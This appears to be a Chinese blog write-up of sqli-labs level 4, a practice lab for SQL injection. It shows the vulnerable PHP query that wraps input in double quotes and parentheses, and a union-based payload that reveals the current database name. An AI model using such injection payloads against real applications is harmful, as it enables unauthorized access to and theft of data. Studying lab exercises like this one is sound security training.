sqli-labs练习 (四)------GET-Error based-Double Quotes-String

本文探讨了SQL注入攻击中的一种特殊情形:通过输入特定字符绕过验证的过程。文章详细解释了为何即使输入包含单引号的字符串也能成功查询,并提供了一个实际例子——查询当前数据库名称的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

输入1,返回结果
这里写图片描述
输入1',返回结果
这里写图片描述
咦,这是咋回事?怎么都能返回结果?根据打印出来的sql语句可以看到
SELECT * FROM users WHERE id=("1'") LIMIT 0,1
原来是双引号的缘故,我们知道,在双引号里是可以包含单引号的

下面是sql查询语句源代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

那么,知道了问题的缘故,怎么把我们想要执行的查询语句加入其中以得到我们感兴趣的信息呢?即如何构造sql语句。

输入0") union select 1,2,database()%23查询当前数据库名,
这里写图片描述

OK,到这里第四节的内容就结束了,剩余的内容查看表,以及表中的字段值仍然和第一节差不多。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值